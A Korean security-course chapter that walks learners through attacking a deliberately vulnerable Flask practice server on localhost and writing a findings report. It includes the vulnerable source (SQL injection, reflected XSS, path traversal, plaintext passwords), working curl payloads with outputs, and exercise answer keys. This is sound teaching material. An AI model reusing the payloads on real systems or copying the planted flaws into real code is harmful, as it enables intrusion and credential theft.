Step 155. ★ 프로젝트 — 취약 웹 타깃 독립 공략과 보고서
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 131~153 — 로그인·세션 구현, Burp, SQLi, XSS, CSRF, 업로드, LFI, 명령어 인젝션, 인증 공격, DVWA·Juice Shop·드림핵 32문제까지의 여정을 마쳤다.
- 준비물: 파이썬 3 + Flask, curl, 메모장(또는 개인 위키). 더 큰 타깃을 원하면 VulnHub 웹 머신이나 TryHackMe 웹 룸 — 단, 아직 안 풀어본 것.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 이 챕터는 테스트입니다 — 이 책이 제공하는 미니 타깃에는 취약점이 몇 개 심어져 있지만, 어디에 뭐가 있는지는 알려 주지 않습니다. 여러분이 찾는 겁니다.
지금까지의 웹 실습은 전부 "오늘 배울 취약점"이 정해진 연습장이었습니다. SQLi 챕터에는 SQLi가 있고, XSS 챕터에는 XSS가 있었죠. 실전은 다릅니다 — 타깃은 자기 약점을 말해 주지 않습니다. 이번 프로젝트의 목표는 "뭐가 취약한지 모르는" 웹 타깃을 처음부터 끝까지 혼자 분석하는 것입니다. 정찰 → 기능 매핑 → 가설 → 검증 → 보고서, 이 다섯 단계가 버그바운티와 침투 테스트 실무의 실제 일과입니다.
이 책은 연습용 미니 타깃 mini_target.py를 제공합니다. 취약점이 여러 개 심어져 있고, 그 수도 알려 주지 않습니다(힌트: 2개보다 많습니다). 모두 찾아 보고서로 엮는 것이 오늘의 완료 조건입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 미지의 웹 타깃에 대해 정찰 → 기능 매핑 → 가설 → 검증의 순서를 스스로 진행한다
- 경로 브루트포스로 엔드포인트 목록을 만들고 입력 지점을 전수 조사한다
- 각 입력 지점에 "내부 동작 추측"을 적어 취약점 가설의 우선순위를 정한다
- 발견한 취약점을 "위치 | 재현 단계 | 페이로드 | 영향 | 방어 제안" 서식으로 보고서에 기록한다
- 취약점이 안 보일 때의 점검 순서(경로 재탐색 → 파라미터 재검 → 인증 영역 확인)를 적용한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + Flask(타깃 서버), curl, 터미널 2개 |
| 오늘의 명령 | curl(각종 페이로드), 경로 브루트포스 스크립트, sqlite3(검증용 엿보기는 금지 — 공격자는 DB를 못 봅니다) |
| 필요한 개념 | Step 135~146의 공격 유형 전부, 독립 분석 5단계, 보고서 5칸 서식 |
| 오늘의 산출물 | mini-target-공략-보고서.md — 취약점 2개 이상이 담긴 보고서 1부 |
2-1. 독립 분석의 다섯 단계
연습장과 실전의 차이는 "순서를 누가 정하느냐"입니다. 실전에서는 여러분이 정합니다.
① 정찰 — 경로·엔드포인트를 전부 긁어 지도를 만든다
② 기능 매핑 — 각 입력 지점(폼, 파라미터, 쿠키)에 "내부 동작 추측"을 적는다
③ 가설 — 추측에서 취약점 후보를 뽑고, 뚫릴 가능성 순으로 줄을 세운다
④ 검증 — 가장 작은 탐지 페이로드부터 던져 가설을 시험한다
⑤ 보고서 — 성공·실패 전부를 문서로 남긴다
①~③에서 시간의 절반을 쓰는 것이 정상입니다. 초보는 ④부터 시작해 페이로드를 무작위로 던지고, 프로는 지도부터 그립니다.
2-2. 기능 매핑표 — 추측을 글로 적는 이유
입력 지점마다 "이 입력이 서버 안에서 무슨 일을 할까"를 한 줄씩 적습니다.
| 입력 지점 | 내부 동작 추측 | 취약점 가설 |
|---|---|---|
/search?q= |
검색어로 DB 조회할 것 | SQLi |
/hello?name= |
이름을 화면에 그대로 출력할 것 | XSS |
/view?page= |
파일을 읽어 보여 줄 것 | LFI |
이 표의 힘은 검증 순서를 정해 준다는 데 있습니다. 추측이 글로 있으면 실험이 체계가 되고, 없으면 삽질이 됩니다.
2-3. 가설 검증의 우선순위 — 자주 뚫리는 순
모든 가설을 동시에 시험하지 않습니다. 입문 단계의 권장 순서:
SQLi(에러 메시지가 실마리를 줌) → XSS(반사 확인이 한 번에 됨)
→ LFI(경로 탐색 문자 반응) → 명령어 인젝션 → 업로드 → 인증 우회
각 가설에는 탐지 페이로드가 있습니다 — ' 하나, <b>x</b> 하나, ../ 하나처럼 "엔진이 내 입력을 실행하는가"만 보는 최소 시험입니다. 탐지가 되면 그때 본 페이로드로 갑니다.
2-4. 보고서 5칸 서식
발견 하나당 다섯 칸입니다 (Step 128의 네 칸 서식의 웹 버전).
- 위치: (URL과 파라미터)
- 재현 단계: (누가 따라 해도 같은 결과가 나오는 순서)
- 페이로드: (성공한 입력 그대로)
- 영향: (이것으로 공격자가 얻는 것)
- 방어 제안: (고치는 방법)
"영향"과 "방어 제안"이 있어야 보고서지, 없으면 풀이 일기입니다.
3. 따라 하기
3-1. 미니 타깃 설치와 기동
아래가 오늘의 타깃입니다. 소스를 읽지 마세요 — 실전에서 공격자는 소스를 모릅니다. 파일로 저장하고 바로 실행하세요 (읽고 싶은 충동을 참는 것도 훈련입니다. 검증은 블랙박스로).
# mini_target.py
import sqlite3, os
from flask import Flask, request, g
app = Flask(__name__)
DB = "mini_target.db"
USERS = [("admin", "sup3r-secret-pw"), ("guest", "guest123")]
ITEMS = [("flag", "flag{m1ni_t4rget_pwned}"), ("notice", "공지사항 테스트 데이터")]
def get_db():
if "db" not in g:
g.db = sqlite3.connect(DB)
return g.db
@app.teardown_appcontext
def close_db(exc):
db = g.pop("db", None)
if db is not None:
db.close()
def init_db():
conn = sqlite3.connect(DB)
cur = conn.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("DROP TABLE IF EXISTS items")
cur.execute("CREATE TABLE users (name TEXT, pw TEXT)")
cur.execute("CREATE TABLE items (name TEXT, content TEXT)")
cur.executemany("INSERT INTO users VALUES (?, ?)", USERS)
cur.executemany("INSERT INTO items VALUES (?, ?)", ITEMS)
conn.commit(); conn.close()
@app.route("/")
def index():
return ("미니 타깃 서버\n - /search?q= 상품 검색\n"
" - /login 로그인 (POST name,pw)\n - /view?page= 페이지 보기\n")
@app.route("/search")
def search():
q = request.args.get("q", "")
cur = get_db().cursor()
try:
cur.execute("SELECT name, content FROM items WHERE name LIKE '%" + q + "%'")
rows = cur.fetchall()
return "\n".join(f"{n}: {c}" for n, c in rows) or "(결과 없음)\n"
except sqlite3.Error as e:
return f"DB 오류: {e}\n", 500
@app.route("/hello")
def hello():
name = request.args.get("name", "anonymous")
return f"<h1>안녕하세요, {name}!</h1>"
PAGES = {"main": "메인 페이지 본문", "news": "뉴스 본문"}
@app.route("/view")
def view():
page = request.args.get("page", "main")
path = os.path.join("pages", page + ".txt")
if page in PAGES:
return PAGES[page] + "\n"
try:
with open(path, encoding="utf-8") as f:
return f.read()
except OSError as e:
return f"파일 없음: {e}\n", 404
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return "POST로 name, pw를 보내세요\n"
name = request.form.get("name", "")
pw = request.form.get("pw", "")
cur = get_db().cursor()
cur.execute("SELECT * FROM users WHERE name=? AND pw=?", (name, pw))
if cur.fetchone():
return f"환영합니다, {name}\n"
return "로그인 실패\n", 401
if __name__ == "__main__":
init_db()
app.run(host="127.0.0.1", port=5496)
실행: python mini_target.py → http://127.0.0.1:5496/에 접속해 안내가 보이면 준비 완료입니다. 같은 폴더에 secret.txt를 하나 만들어 알아볼 수 있는 문구(예: 이 파일이 읽히면 성공)를 적어 두세요 — 이유는 찾아 내면 압니다.
여기서부터는 스포일러 구간입니다. 아래는 여러분이 스스로 찾았어야 할 것들의 정답지이자, 막혔을 때 비교할 진행 예시입니다. 먼저 혼자 ①~⑤를 진행하고, 막힐 때만 해당 절을 펴세요.
3-2. ① 정찰 — 경로 브루트포스
인덱스가 알려 준 3개 외에 숨은 경로가 있는지 확인합니다. gobuster 대용의 10줄 스크립트:
import urllib.request, urllib.error
words = ["admin", "login", "search", "view", "hello",
"backup", "test", "api", "secret", "config"]
for w in words:
try:
r = urllib.request.urlopen("http://127.0.0.1:5496/" + w)
print(f"/{w:10s} {r.status}")
except urllib.error.HTTPError as e:
if e.code != 404:
print(f"/{w:10s} {e.code}")
출력 (2026-09-09 실측):
/login 200
/search 200
/view 200
/hello 200
읽는 법: /hello는 인덱스에 없던 경로입니다 — 정찰이 지도를 넓힌 순간입니다. 실전에서는 사전(wordlist)이 수만 단어라, 이 단계에서 몇 분씩 씁니다.
3-3. ②③ 기능 매핑과 가설 — 표 채우기
발견한 입력 지점을 표로 정리합니다. 추측은 이렇게 됩니다 — /search는 "이름으로 뭔가 찾는다 = DB 조회", /hello는 "입력을 화면에 반사", /view는 "페이지 파일을 읽어 옴", /login은 "자격 증명 대조". 가설은 2-2의 표 그대로입니다.
3-4. ④ 검증 — SQLi부터
탐지 페이로드는 작은따옴표 하나입니다.
curl -s "http://127.0.0.1:5496/search?q=%27"
출력 (2026-09-09 실측):
DB 오류: unrecognized token: "'"
읽는 법: 내 입력이 DB 쿼리 안으로 들어갔다는 자백입니다 — 서버가 에러 메시지로 취약점을 스스로 신고했습니다. 이제 컬럼 수를 맞혀 UNION으로 이어갑니다.
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%201--%20"
# → DB 오류: SELECTs to the left and right of UNION do not have the same number of result columns
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%201,2--%20"
출력 (2026-09-09 실측, 두 번째 명령):
1: 2
flag: flag{m1ni_t4rget_pwned}
notice: 공지사항 테스트 데이터
컬럼이 두 개로 맞았고(1: 2), 그 아래에 본래 검색 결과가 따라옵니다 — 여기에 플래그가 이미 노출됐습니다. 더 깊이 들어가면 다른 테이블도 읽힙니다 (Step 136에서 배운 UNION 추출 그대로):
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%20name,pw%20FROM%20users--%20"
출력 (2026-09-09 실측):
admin: sup3r-secret-pw
flag: flag{m1ni_t4rget_pwned}
guest: guest123
notice: 공지사항 테스트 데이터
테이블 이름 users는 어찌 알았느냐고요? 실전에서는 sqlite_master를 먼저 읽습니다 (Step 136). 지금은 교과서적 추측(users, accounts, members…)이 통한 것입니다.
3-5. ④ 검증 — XSS와 LFI
/hello에 반사 시험:
curl -s "http://127.0.0.1:5496/hello?name=%3Cscript%3Ealert(1)%3C/script%3E"
출력 (2026-09-09 실측):
<h1>안녕하세요, <script>alert(1)</script>!</h1>
태그가 이스케이프 없이 그대로입니다 — 브라우저가 이 응답을 열었다면 스크립트가 실행됩니다.
/view에 경로 탐색 시험. page= 뒤에 붙는 값이 파일명이 된다는 추측에서:
curl -s "http://127.0.0.1:5496/view?page=../secret"
출력 (2026-09-09 실측):
DB 비밀번호: sup3r-secret-pw
(실측 당시 secret.txt에 적어 둔 문구가 그대로 읽혔습니다 — 여러분의 출력에는 여러분이 적은 문구가 보일 것입니다.) .txt가 자동으로 붙는 제한이 있어도 txt 파일은 전부 읽힙니다 — 소스 코드, 설정 백업, 로그가 txt면 끝입니다.
3-6. ⑤ 보고서 — 발견을 문서로
탈취한 계정으로 로그인까지 확인하면 증거 사슬이 완성됩니다.
curl -s -X POST -d "name=admin&pw=sup3r-secret-pw" http://127.0.0.1:5496/login
# → 환영합니다, admin
curl -s -o /dev/null -w "%{http_code}\n" -X POST -d "name=admin&pw=wrong" http://127.0.0.1:5496/login
# → 401
출력 (2026-09-09 실측): 위의 두 결과(환영합니다, admin / 401)가 "탈취한 자격 증명이 실제로 통한다"는 대조 증거입니다. 이제 2-4의 5칸 서식으로 채웁니다 — 서식의 완성 예는 5절 모범 답안에서 확인하세요.
외부 타깃(VulnHub 머신, THM 룸)으로 이 프로젝트를 수행하는 경우에도 절차는 같습니다 — gobuster가 경로 브루트포스를, Burp이 입력 지점 수집을 대신할 뿐입니다 (화면 예시).
4. 미션과 연습문제
미션 — 미니 타깃 독립 공략 + 보고서
- 소스를 읽지 않고
mini_target.py를 기동합니다 (읽었다면 처벌은 없지만, 실력은 그만큼 덜 자랍니다) - 정찰로 인덱스에 없는 경로 최소 1개를 찾고, 입력 지점 전수 목록을 만듭니다
- 기능 매핑표(입력 지점 → 내부 동작 추측 → 가설)를 완성합니다
- 취약점 2개 이상을 탐지 페이로드부터 본 페이로드까지 검증합니다
mini-target-공략-보고서.md에 발견 전부를 5칸 서식(위치|재현 단계|페이로드|영향|방어 제안)으로 기록합니다 — 모든 주장에 curl 출력 인용이 붙어야 합니다
연습문제
문제 1. 독립 분석에서 ④ 검증부터 시작하지 않고 ① 정찰부터 시작하는 이유를 "삽질과 체계"의 차이로 설명해 보세요.
문제 2. 탐지 페이로드(', <b>x</b>, ../)가 "최소 시험"이어야 하는 이유는 무엇인가요? 처음부터 본 페이로드를 던지면 어떤 문제가 생기나요?
문제 3. 3-4에서 서버의 에러 메시지(DB 오류: ...)가 공격자에게 어떤 정보를 줬는지, 그리고 방어자는 이를 어떻게 막아야 하는지 써 보세요.
문제 4. 보고서의 "영향" 칸이 없으면 왜 보고서가 아니라 풀이 일기가 되는지, 독자(의사결정자)의 관점에서 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
미니 타깃에는 4개의 취약점이 심어져 있습니다: SQLi(/search), Reflected XSS(/hello), LFI(/view), 그리고 약한 자격 증명의 평문 저장·노출(users 테이블의 평문 비밀번호 — SQLi와 연결될 때 드러남). 보고서 한 건의 완성 예:
### 발견 1: SQL 인젝션으로 사용자 테이블 전체 유출 [치명]
- 위치: GET /search?q=
- 재현 단계:
1. q에 ' 입력 → DB 오류: unrecognized token: "'" (입력이 쿼리에 직접 삽입됨을 확인)
2. q에 %' UNION SELECT 1,2-- 입력 → 컬럼 수 2 확인, 응답에 "1: 2" 출력
3. q에 %' UNION SELECT name,pw FROM users-- 입력 → 전체 계정 유출
- 페이로드: %' UNION SELECT name,pw FROM users--
- 증거: 응답에 "admin: sup3r-secret-pw" 포함. 해당 자격으로 POST /login 성공("환영합니다, admin").
- 영향: 전 계정 비밀번호(평문) 탈취, 관리자 로그인, 숨겨진 데이터(flag) 노출
- 방어 제안: 문자열 결합 대신 파라미터 바인딩 사용, 에러 메시지의 상세 노출 금지,
비밀번호는 해시 저장
검증하는 법: ① 취약점 2개 이상이 5칸 서식으로 기록됐는가. ② 재현 단계를 그대로 따라 하면 같은 출력이 나오는가(직접 다시 실행해 검증). ③ 각 발견에 "영향"과 "방어 제안"이 있는가. ④ 소스를 보기 전에 찾은 것이 몇 개인가 — 그 숫자가 오늘의 순수 실력입니다.
연습문제 해답
문제 1 해답. 검증부터 시작하면 "뭘 시험해야 할지"의 목록이 없어 보이는 곳만 두드리게 되고, 안 보이는 입력 지점은 영영 검사하지 못합니다. 정찰로 지도를 그리고 매핑으로 가설을 세운 뒤에야 검증이 "전수 조사"가 됩니다. 삽질은 우연히 뚫린 하나를 찾는 일이고, 체계는 뚫릴 수 있는 전부를 빠짐없이 시험하는 일입니다.
문제 2 해답. 본 페이로드는 가설이 맞을 때만 작동하므로, 실패하면 "가설이 틀렸는지, 페이로드 문법이 틀렸는지"를 구분할 수 없습니다. 탐지 페이로드는 그 구분을 가능하게 하는 최소 시험입니다 — ' 하나에 DB 에러가 나면 가설은 확정이고, 이후 실패는 전부 페이로드 다듬기의 문제가 됩니다. 작은 시험부터 가는 것이 디버깅의 기본입니다.
문제 3 해답. 에러 메시지는 ① 입력이 쿼리에 들어갔다는 사실, ② DB 종류(sqlite 특유의 문구), ③ 쿼리 구조의 단서를 줍니다 — 공격자의 가설 확정 버튼입니다. 방어자는 상세한 에러를 사용자에게 보여 주지 말고 일반 메시지("일시적 오류")로 바꾸되, 상세 내용은 서버 로그에만 남겨야 합니다.
문제 4 해답. 보고서의 독자는 "그래서 얼마나 위험한데, 뭘 고치면 되는데?"에 답해야 예산과 인력을 배정합니다. 영향 칸이 없으면 독자는 기술적 사실의 위험 등급을 스스로 번역해야 하고, 그 번역은 보통 과소평가로 끝납니다. 재현과 페이로드만 있는 문서는 "나 이렇게 뚫었다"는 일기이고, 영향과 방어가 붙어야 "이렇게 고쳐 주세요"라는 보고서가 됩니다.
완료 기준 체크리스트
- [ ] 소스를 읽지 않고 블랙박스로 공략을 시작했다
- [ ] 경로 브루트포스로 인덱스에 없는 경로를 찾았다
- [ ] 기능 매핑표(입력 지점 → 추측 → 가설)를 완성했다
- [ ] 탐지 페이로드부터 단계적으로 검증했다
- [ ] 취약점 2개 이상을 5칸 서식으로 기록했다
- [ ] 모든 주장에 curl 출력 인용이 붙어 있다
- [ ] 미션:
mini-target-공략-보고서.md1부 완성
6. 흔한 실수와 해결
벽 1. 서버가 안 켜진다 — OSError: [WinError 10048] 각 소켓 주소(프로토콜/네트워크 주소/포트)는 하나만 사용할 수 있습니다
원인: 이전에 띄운 서버가 5496번을 잡고 있습니다 (2026-09-09 실측 메시지).
해결: 이전 터미널의 서버를 Ctrl+C로 끄거나, 포트를 바꾸세요 (app.run(port=5497)). 포트는 변수가 아니라 주소입니다 — 하나의 주소에 두 집이 못 사는 것과 같습니다.
벽 2. UNION을 넣었는데 SELECTs to the left and right of UNION do not have the same number of result columns
원인: 좌우 SELECT의 컬럼 수가 다릅니다 (2026-09-09 실측 메시지).
해결: UNION SELECT 1 → 1,2 → 1,2,3 순으로 하나씩 늘리세요. 에러가 사라지는 순간이 컬럼 수입니다. 이 에러는 실패가 아니라 답을 알려 주는 힌트입니다.
벽 3. 따옴표를 넣어도 에러가 안 난다
원인: URL 인코딩을 안 해 브라우저·curl이 문자를 다르게 보냈거나, 해당 파라미터가 정말 안전할 수 있습니다.
해결: 특수문자는 URL 인코딩(' → %27, 공백 → %20)을 습관화하세요. 그래도 무반응이면 그 입력 지점은 일단 보류하고 다음 지점으로 — 정찰표로 돌아가는 것이 순서입니다.
벽 4. 취약점이 하나도 안 보인다
원인: 정찰이 얕거나, 파라미터를 빠뜨렸거나, 인증 뒤 영역을 안 본 경우가 대부분입니다.
해결: 점검 순서 — ① 경로를 더 긁었는가(사전을 키워 재실행) ② 모든 파라미터를 시험했는가(쿠키와 헤더 포함) ③ 로그인이 필요한 영역은 없는가. 셋을 다 했는데도 없으면, 그것도 "표면이 단단하다"는 유효한 관찰 결과입니다 — 보고서에 그렇게 씁니다.
벽 5. 소스를 먼저 읽고 공략해서 재미가 없었다
원인: 시험지 뒷면을 보고 시험 본 셈입니다.
해결: 소스를 읽은 상태로 찾은 발견은 보고서에 (소스 확인 후)라고 표시하세요 — 정직한 구분이 다음 진짜 시험을 준비하게 합니다. 한 번 돌았으면 이제 소스를 대조하며 "내 정찰이 놓친 것"을 복기하세요. 그 대조가 다음 타깃에서의 눈이 됩니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 독립 분석 5단계 | 정찰 → 기능 매핑 → 가설 → 검증 → 보고서 |
| 기능 매핑표 | 입력 지점 + 내부 동작 추측 + 가설 — 검증 순서를 정하는 지도 |
| 탐지 페이로드 | 가설만 시험하는 최소 입력 (', <b>, ../) |
| 블랙박스 | 소스를 모른 채 입출력만으로 분석 — 실전의 기본값 |
| 보고서 5칸 | 위치 |
| 증거 사슬 | 취약점 발견 → 데이터 탈취 → 그 데이터로의 로그인 성공까지의 연결 |
오늘의 명령어·도구
| 명령·도구 | 하는 일 |
|---|---|
curl -s "URL?q=%27" |
SQLi 탐지 (작은따옴표 시험) |
...UNION SELECT 1,2-- |
컬럼 수 확인 → 테이블 추출 |
| 경로 브루트포스 스크립트 | 숨은 엔드포인트 찾기 |
curl -s -X POST -d "..." |
로그인 등 POST 검증 |
mini_target.py |
오늘의 블랙박스 타깃 (취약점 4개) |
명령어보다 중요한 감각
오늘 여러분은 "배운 기법을 적용하는 사람"에서 "뭘 적용해야 할지 스스로 정하는 사람"으로 넘어왔습니다. 그 전환을 가능하게 하는 것은 기법의 암기가 아니라 절차 — 지도를 그리고, 추측을 적고, 작은 시험부터 던지는 습관입니다. 그리고 이 절차의 최종 산출물은 쉘이 아니라 보고서라는 것도 다시 확인했습니다. 다음 타깃(외부 머신, 버그바운티 스코프)에서도 이 다섯 단계는 한 글자도 바뀌지 않습니다. 절차를 믿으세요 — 절차가 막힘의 순간에 여러분을 붙잡아 줍니다.
전부 체크되면 Step 155 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.